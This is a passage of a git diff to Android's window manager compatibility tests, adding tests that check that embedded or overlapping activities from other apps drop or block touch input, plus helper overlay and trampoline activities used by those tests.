+                    mWmState.getActivity(
+                            SECOND_UNTRUSTED_EMBEDDING_ACTIVITY).getLastDropInputMode());
+        } finally {
+            automation.setAnimationScale(1f);
+        }
+    }
+
+    /**
+     * Verifies that all input is dropped for activities that are embedded and being animated with
+     * trusted embedding.
+     */
+    @Test
+    public void testInputDuringAnimationIsNotAllowed_trustedEmbedding() {
+        // Extend the animation scale, so that the test has enough time to catch the state during
+        // transition.
+        UiAutomation automation = mInstrumentation.getUiAutomation();
+        automation.setAnimationScale(2f);
+
+        try {
+            // Start an activity that will attempt to embed TestActivityKnownEmbeddingCerts
+            startActivityOnDisplaySingleTop(mContext, DEFAULT_DISPLAY, SIGNED_EMBEDDING_ACTIVITY,
+                    Bundle.EMPTY);
+            mWmState.waitForActivityState(SIGNED_EMBEDDING_ACTIVITY,
+                    WindowManagerState.STATE_RESUMED);
+            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+            Bundle embedExtra = new Bundle();
+            embedExtra.putBoolean(EXTRA_EMBED_ACTIVITY, true);
+            startActivityOnDisplaySingleTop(mContext, DEFAULT_DISPLAY, SIGNED_EMBEDDING_ACTIVITY,
+                    embedExtra);
+
+            // Verify that the embedded activity drops input during animation
+            final ComponentName embeddedActivityComponent = new ComponentName(mContext,
+                    TestActivityKnownEmbeddingCerts.class);
+            mWmState.waitForAppTransitionRunningOnDisplay(DEFAULT_DISPLAY);
+            waitForOrFailWithRapidRetry(
+                    "Embedded activity must drop all input for the duration of animation",
+                    () -> {
+                        mWmState.computeState();
+                        return mWmState.getActivity(embeddedActivityComponent)
+                                .getLastDropInputMode() == 1 /* DropInputMode.ALL */;
+                    });
+
+            // Verify that the embedded activity drops input if obscured after animation
+            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+            assertEquals(
+                    "Embedded activity must not drop input if obscured in trusted embedding",
+                    0 /* DropInputMode.NONE */,
+                    mWmState.getActivity(embeddedActivityComponent).getLastDropInputMode());
+        } finally {
+            automation.setAnimationScale(1f);
+        }
+    }
+
+    static void waitForOrFailWithRapidRetry(@NonNull String message,
+            @NonNull BooleanSupplier condition) {
+        Condition.waitFor(new Condition<>(message, condition)
+                .setRetryIntervalMs(50)
+                .setRetryLimit(100)
+                .setOnFailure(unusedResult -> fail("FAILED because unsatisfied: " + message)));
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index 4e5cdc0..fb9f5e8 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -17,6 +17,7 @@
 package android.server.wm.jetpack.utils;
 
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
@@ -31,6 +32,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.app.Application;
 import android.app.Instrumentation;
 import android.content.ComponentName;
@@ -56,6 +58,7 @@
 public class WindowManagerJetpackTestBase {
 
     public static final String ACTIVITY_ID_LABEL = "ActivityID";
+    public static final String EXTRA_EMBED_ACTIVITY = "EmbedActivity";
 
     public Instrumentation mInstrumentation;
     public Context mContext;
@@ -88,23 +91,46 @@
 
     public Activity startActivityNewTask(@NonNull Class activityClass,
             @Nullable String activityId) {
-        final Intent intent = new Intent(mContext, activityClass);
+        return startActivityNewTask(mContext, mInstrumentation, activityClass, activityId);
+    }
+
+    public static Activity startActivityNewTask(@NonNull Context context,
+            @NonNull Instrumentation instrumentation, @NonNull Class activityClass,
+            @Nullable String activityId) {
+        final Intent intent = new Intent(context, activityClass);
         intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
         if (activityId != null) {
             intent.putExtra(ACTIVITY_ID_LABEL, activityId);
         }
-        final Activity activity = mInstrumentation.startActivitySync(intent);
-        return activity;
+        return instrumentation.startActivitySync(intent);
     }
 
     /**
      * Start an activity using a component name. Can be used for activities from a different UIDs.
      */
-    public void startActivityNewTask(@NonNull ComponentName activityComponent) {
-        final Intent intent = new Intent();
-        intent.setClassName(activityComponent.getPackageName(), activityComponent.getClassName());
-        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
+    public static void startActivityNoWait(@NonNull Context context,
+            @NonNull ComponentName activityComponent, @NonNull Bundle extras) {
+        final Intent intent = new Intent()
+                .setClassName(activityComponent.getPackageName(), activityComponent.getClassName())
+                .addFlags(FLAG_ACTIVITY_NEW_TASK)
+                .putExtras(extras);
+        context.startActivity(intent);
+    }
+
+    /**
+     * Start an activity using a component name on the specified display with
+     * {@link FLAG_ACTIVITY_SINGLE_TOP}. Can be used for activities from a different UIDs.
+     */
+    public static void startActivityOnDisplaySingleTop(@NonNull Context context,
+            int displayId, @NonNull ComponentName activityComponent, @NonNull Bundle extras) {
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchDisplayId(displayId);
+
+        Intent intent = new Intent()
+                .addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_SINGLE_TOP)
+                .setComponent(activityComponent)
+                .putExtras(extras);
+        context.startActivity(intent, options.toBundle());
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
index 3a608dc..40910d7 100644
--- a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -19,22 +19,29 @@
           package="android.server.wm.overlay">
 
     <!-- We use SAWs to create obscuring windows for test WindowUntrustedTouchTest -->
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
     <application>
         <service
             android:name="android.server.wm.overlay.UntrustedTouchTestService"
-            android:exported="true" />
+            android:exported="true"/>
         <activity
             android:name="android.server.wm.overlay.OverlayActivity"
             android:theme="@android:style/Theme.Translucent"
-            android:exported="true" />
+            android:exported="true"/>
         <activity
             android:name="android.server.wm.overlay.ExitAnimationActivity"
-            android:exported="true" />
+            android:exported="true"/>
         <activity
             android:name="android.server.wm.overlay.ToastActivity"
-            android:exported="true" />
+            android:exported="true"/>
+        <activity
+            android:name="android.server.wm.overlay.TrampolineActivity"
+            android:exported="true"/>
+        <activity
+            android:name="android.server.wm.overlay.TranslucentFloatingActivity"
+            android:theme="@style/TranslucentFloatingTheme"
+            android:exported="true"/>
     </application>
 
 </manifest>
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/fade.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/fade.xml
new file mode 100644
index 0000000..be65f81
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/fade.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2008 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<alpha xmlns:android="http://schemas.android.com/apk/res/android"
+       android:fromAlpha="1.0"
+       android:toAlpha="0.0"
+       android:duration="3000" />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/values/styles.xml b/tests/framework/base/windowmanager/overlayappbase/res/values/styles.xml
new file mode 100644
index 0000000..fd7ccc2
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/values/styles.xml
@@ -0,0 +1,23 @@
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <style name="TranslucentFloatingTheme" >
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowIsFloating">true</item>
+        <item name="android:windowNoTitle">true</item>
+    </style>
+</resources>
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
index beff6c1..499d590 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
@@ -17,6 +17,7 @@
 package android.server.wm.overlay;
 
 import android.content.ComponentName;
+import android.os.Bundle;
 import android.server.wm.component.ComponentsBase;
 
 
@@ -51,6 +52,33 @@
         ComponentName COMPONENT = component("ToastActivity");
     }
 
+    public interface TranslucentFloatingActivity {
+        String ACTION_FINISH =
+                "android.server.wm.overlay.TranslucentFloatingActivity.ACTION_FINISH";
+        String EXTRA_FADE_EXIT =
+                "android.server.wm.overlay.TranslucentFloatingActivity.ACTION_FINISH_FADE_EXIT";
+        ComponentName BASE_COMPONENT = component("TranslucentFloatingActivity");
+        static ComponentName getComponent(String packageName) {
+            return new ComponentName(packageName, BASE_COMPONENT.getClassName());
+        }
+    }
+
+    public interface TrampolineActivity {
+        ComponentName BASE_COMPONENT = component("TrampolineActivity");
+        String COMPONENTS_EXTRA = "components_extra";
+
+        static ComponentName getComponent(String packageName) {
+            return new ComponentName(packageName, BASE_COMPONENT.getClassName());
+        }
+
+        static Bundle buildTrampolineExtra(ComponentName... componentNames) {
+            Bundle trampolineTarget = new Bundle();
+            trampolineTarget.putParcelableArray(COMPONENTS_EXTRA, componentNames);
+            return trampolineTarget;
+        }
+
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TrampolineActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TrampolineActivity.java
new file mode 100644
index 0000000..ecd475b
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TrampolineActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TrampolineActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        ComponentName[] componentNames = getIntent().getParcelableArrayExtra(
+                Components.TrampolineActivity.COMPONENTS_EXTRA,
+                ComponentName.class);
+        for (ComponentName componentName : componentNames) {
+            Intent intent = new Intent();
+            intent.setComponent(componentName);
+            startActivity(intent);
+        }
+        finish();
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TranslucentFloatingActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TranslucentFloatingActivity.java
new file mode 100644
index 0000000..e6249ac
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TranslucentFloatingActivity.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.os.Bundle;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.LinearLayout;
+
+public class TranslucentFloatingActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        LinearLayout tv = new LinearLayout(this);
+        tv.setBackgroundColor(Color.GREEN);
+        tv.setPadding(50, 50, 50, 50);
+        tv.setGravity(Gravity.CENTER);
+        setContentView(tv);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL);
+        getWindow().clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND);
+
+        registerReceiver(mReceiver,
+                new IntentFilter(Components.TranslucentFloatingActivity.ACTION_FINISH));
+    }
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (Components.TranslucentFloatingActivity.ACTION_FINISH.equals(intent.getAction())) {
+                unregisterReceiver(this);
+                finish();
+                if (intent.getBooleanExtra(
+                        Components.TranslucentFloatingActivity.EXTRA_FADE_EXIT, false)) {
+                    overridePendingTransition(0, R.anim.fade);
+                }
+            }
+        }
+    };
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTests.java
new file mode 100644
index 0000000..2a8330d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTests.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.WindowManagerState.STATE_PAUSED;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.overlay.Components.TranslucentFloatingActivity.ACTION_FINISH;
+import static android.server.wm.overlay.Components.TranslucentFloatingActivity.EXTRA_FADE_EXIT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.overlay.Components;
+
+import androidx.annotation.Nullable;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:ActivityRecordInputSinkTests
+ */
+@Presubmit
+public class ActivityRecordInputSinkTests extends ActivityManagerTestBase {
+
+    private static final String APP_SELF =
+            WindowUntrustedTouchTest.class.getPackage().getName() + ".cts";
+    private static final String APP_A =
+            android.server.wm.second.Components.class.getPackage().getName();
+
+    private static final ComponentName TEST_ACTIVITY =
+            new ComponentName(APP_SELF, "android.server.wm.ActivityRecordInputSinkTestsActivity");
+
+    private static final ComponentName OVERLAY_IN_SAME_UID =
+            Components.TranslucentFloatingActivity.getComponent(APP_SELF);
+    private static final ComponentName OVERLAY_IN_DIFFERENT_UID =
+            Components.TranslucentFloatingActivity.getComponent(APP_A);
+    private static final ComponentName TRAMPOLINE_DIFFERENT_UID =
+            Components.TrampolineActivity.getComponent(APP_A);
+
+    private int mTouchCount;
+
+    @Before
+    public void setUp() {
+        ActivityRecordInputSinkTestsActivity.sButtonClickCount.set(0);
+    }
+
+    @After
+    public void tearDown() {
+        stopTestPackage(APP_A);
+    }
+
+    @Test
+    public void testOverlappingActivityInNewTask_BlocksTouches() {
+        launchActivity(TEST_ACTIVITY);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+        launchActivityInNewTask(OVERLAY_IN_SAME_UID);
+        mWmState.waitAndAssertActivityState(OVERLAY_IN_SAME_UID, STATE_RESUMED);
+        touchButtonsAndAssert(false /*expectTouchesToReachActivity*/);
+
+        mContext.sendBroadcast(new Intent(Components.TranslucentFloatingActivity.ACTION_FINISH));
+        mWmState.waitAndAssertActivityRemoved(OVERLAY_IN_SAME_UID);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+    }
+
+    @Test
+    public void testOverlappingActivityInSameTaskSameUid_DoesNotBlocksTouches() {
+        launchActivity(TEST_ACTIVITY);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+        launchActivityInSameTask(OVERLAY_IN_SAME_UID);
+        mWmState.waitAndAssertActivityState(OVERLAY_IN_SAME_UID, STATE_RESUMED);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+    }
+
+    @Test
+    public void testOverlappingActivityInSameTaskDifferentUid_DoesNotBlocksTouches() {
+        launchActivity(TEST_ACTIVITY);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+        launchActivityInSameTask(OVERLAY_IN_DIFFERENT_UID);
+        mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+        mWmState.assertActivityDisplayed(OVERLAY_IN_DIFFERENT_UID);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+    }
+
+    @Test
+    public void testOverlappingActivityInSameTaskTrampolineDifferentUid_DoesNotBlockTouches() {
+        launchActivity(TEST_ACTIVITY);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+
+        launchActivityInSameTask(TRAMPOLINE_DIFFERENT_UID,
+                Components.TrampolineActivity.buildTrampolineExtra(OVERLAY_IN_DIFFERENT_UID));
+        mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+    }
+
+    @Test
+    public void testOverlappingActivitySandwich_BlocksTouches() {
+        Intent intent = new Intent();
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.setComponent(TRAMPOLINE_DIFFERENT_UID);
+        intent.replaceExtras(Components.TrampolineActivity.buildTrampolineExtra(TEST_ACTIVITY,
+                OVERLAY_IN_DIFFERENT_UID));
+        mContext.startActivity(intent);
+
+        mWmState.waitAndAssertActivityState(TEST_ACTIVITY, STATE_PAUSED);
+        mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+        touchButtonsAndAssert(false /*expectTouchesToReachActivity*/);
+
+        mContext.sendBroadcast(new Intent(Components.TranslucentFloatingActivity.ACTION_FINISH));
+        mWmState.waitAndAssertActivityRemoved(OVERLAY_IN_DIFFERENT_UID);
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/);
+    }
+
+    @Test
+    public void testOverlappingActivitySandwichDuringAnimation_DoesNotBlockTouches() {
+        Intent intent = new Intent();
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.setComponent(TRAMPOLINE_DIFFERENT_UID);
+        intent.replaceExtras(Components.TrampolineActivity.buildTrampolineExtra(TEST_ACTIVITY,
+                OVERLAY_IN_DIFFERENT_UID));
+        mContext.startActivity(intent);
+
+        mWmState.waitAndAssertActivityState(TEST_ACTIVITY, STATE_PAUSED);
+        mWmState.waitAndAssertActivityState(OVERLAY_IN_DIFFERENT_UID, STATE_RESUMED);
+        touchButtonsAndAssert(false);
+
+        int displayId = mWmState.getTaskByActivity(OVERLAY_IN_DIFFERENT_UID).mDisplayId;
+        mContext.sendBroadcast(new Intent(ACTION_FINISH).putExtra(EXTRA_FADE_EXIT, true));
+        assertThat(mWmState.waitForAppTransitionRunningOnDisplay(displayId)).isTrue();
+        touchButtonsAndAssert(true /*expectTouchesToReachActivity*/, false /*waitForAnimation*/);
+    }
+
+    private void launchActivityInSameTask(ComponentName componentName) {
+        launchActivityInSameTask(componentName, null);
+    }
+
+    private void launchActivityInSameTask(ComponentName componentName, @Nullable Bundle extras) {
+        Intent intent = new Intent(ActivityRecordInputSinkTestsActivity.LAUNCH_ACTIVITY_ACTION);
+        intent.putExtra(ActivityRecordInputSinkTestsActivity.COMPONENT_EXTRA, componentName);
+        intent.putExtra(ActivityRecordInputSinkTestsActivity.EXTRA_EXTRA, extras);
+        mContext.sendBroadcast(intent);
+    }
+
+
+    private void touchButtonsAndAssert(boolean expectTouchesToReachActivity) {
+        touchButtonsAndAssert(expectTouchesToReachActivity, true /* waitForAnimation */);
+    }
+
+    private void touchButtonsAndAssert(
+            boolean expectTouchesToReachActivity, boolean waitForAnimation) {
+        WindowManagerState.Activity activity = mWmState.getActivity(TEST_ACTIVITY);
+        int displayId = activity.getTask().mDisplayId;
+        Rect bounds = activity.getBounds();
+        bounds.offset(0, -bounds.height() / 3);
+        mTouchHelper.tapOnCenter(bounds, displayId, waitForAnimation);
+        mTouchCount += (expectTouchesToReachActivity ? 1 : 0);
+        mInstrumentation.waitForIdleSync();
+        assertThat(ActivityRecordInputSinkTestsActivity.sButtonClickCount.get())
+                .isEqualTo(mTouchCount);
+
+        bounds.offset(0, 2 * bounds.height() / 3);
+        mTouchHelper.tapOnCenter(bounds, displayId, waitForAnimation);
+        mTouchCount += (expectTouchesToReachActivity ? 1 : 0);
+        mInstrumentation.waitForIdleSync();
+        assertThat(ActivityRecordInputSinkTestsActivity.sButtonClickCount.get())
+                .isEqualTo(mTouchCount);
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTestsActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTestsActivity.java
new file mode 100644
index 0000000..c589f0d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTestsActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.LinearLayout;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class ActivityRecordInputSinkTestsActivity extends Activity {
+
+    static final String LAUNCH_ACTIVITY_ACTION = "launch";
+    static final String COMPONENT_EXTRA = "component";
+    static final String EXTRA_EXTRA = "extra";
+
+    Button mTopButton;
+    Button mBottomButton;
+
+    static volatile AtomicInteger sButtonClickCount = new AtomicInteger(0);
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mTopButton = new Button(this);
+        mTopButton.setOnClickListener(v -> sButtonClickCount.getAndIncrement());
+        mTopButton.setLayoutParams(
+                new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,
+                        LinearLayout.LayoutParams.MATCH_PARENT));
+        setContentView(mTopButton);
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        registerReceiver(
+                mReceiver, new IntentFilter(LAUNCH_ACTIVITY_ACTION), Context.RECEIVER_NOT_EXPORTED);
+    }
+
+    @Override
+    protected void onStop() {
+        unregisterReceiver(mReceiver);
+        super.onStop();
+    }
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            switch (intent.getAction()) {
+                case LAUNCH_ACTIVITY_ACTION:
+                    Intent activityIntent = new Intent();
+                    activityIntent.setComponent(intent.getParcelableExtra(COMPONENT_EXTRA,
+                            ComponentName.class));
+                    activityIntent.replaceExtras(intent.getBundleExtra(EXTRA_EXTRA));
+                    startActivity(activityIntent);
+                    break;
+                default:
+                    throw new AssertionError("Unknown action" + intent.getAction());
+            }
+        }
+    };
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java
index 5e7ea21..92d738c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeepClearRectsTests.java
@@ -21,7 +21,6 @@
 import static android.server.wm.app.Components.KeepClearRectsActivity.EXTRA_KEEP_CLEAR_RECTS;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
@@ -55,11 +54,12 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
+import java.util.concurrent.Callable;
 
 @Presubmit
 @FlakyTest(detail = "Promote once confirmed non-flaky")
 public class KeepClearRectsTests extends WindowManagerTestBase {
-    private static final long FOCUS_VIEW_CHECK_TIMEOUT = 3000;
+    private static final long SAME_ELEMENT_ASSERTION_TIMEOUT = 3000;
     private static final List<Rect> TEST_KEEP_CLEAR_RECTS =
             Arrays.asList(new Rect(0, 0, 25, 25),
                           new Rect(30, 0, 50, 25),
@@ -82,7 +82,7 @@
     }
 
     @Test
-    public void testSetPreferKeepClearAttr() {
+    public void testSetPreferKeepClearAttr() throws Exception {
         final Intent intent = new Intent(mContext, TestActivity.class);
         intent.putExtra(USE_KEEP_CLEAR_ATTR_LAYOUT, true);
         mTestSession.launchTestActivityOnDisplaySync(null, intent, DEFAULT_DISPLAY);
@@ -90,11 +90,12 @@
 
         // To be kept in sync with res/layout/keep_clear_attr_activity
         final Rect keepClearRect = new Rect(0, 0, 25, 25);
-        assertSameElements(Arrays.asList(keepClearRect), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(keepClearRect),
+                () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testSetPreferKeepClearSingleView() {
+    public void testSetPreferKeepClearSingleView() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
@@ -102,11 +103,12 @@
         final View v = createTestViewInActivity(activity, keepClearRect);
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
 
-        assertSameElements(Arrays.asList(keepClearRect), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(keepClearRect),
+                () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testSetPreferKeepClearTwoViews() {
+    public void testSetPreferKeepClearTwoViews() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
@@ -115,29 +117,30 @@
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
 
         final List<Rect> expected = new ArrayList(Arrays.asList(keepClearRect));
-        assertSameElements(expected, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
 
         final Rect keepClearRect2 = new Rect(25, 25, 50, 50);
         final View v2 = createTestViewInActivity(activity, keepClearRect2);
         mTestSession.runOnMainSyncAndWait(() -> v2.setPreferKeepClear(true));
 
         expected.addAll(Arrays.asList(keepClearRect2));
-        assertSameElements(expected, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testSetMultipleKeepClearRectsSingleView() {
+    public void testSetMultipleKeepClearRectsSingleView() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final View v = createTestViewInActivity(activity);
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
 
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testSetMultipleKeepClearRectsTwoViews() {
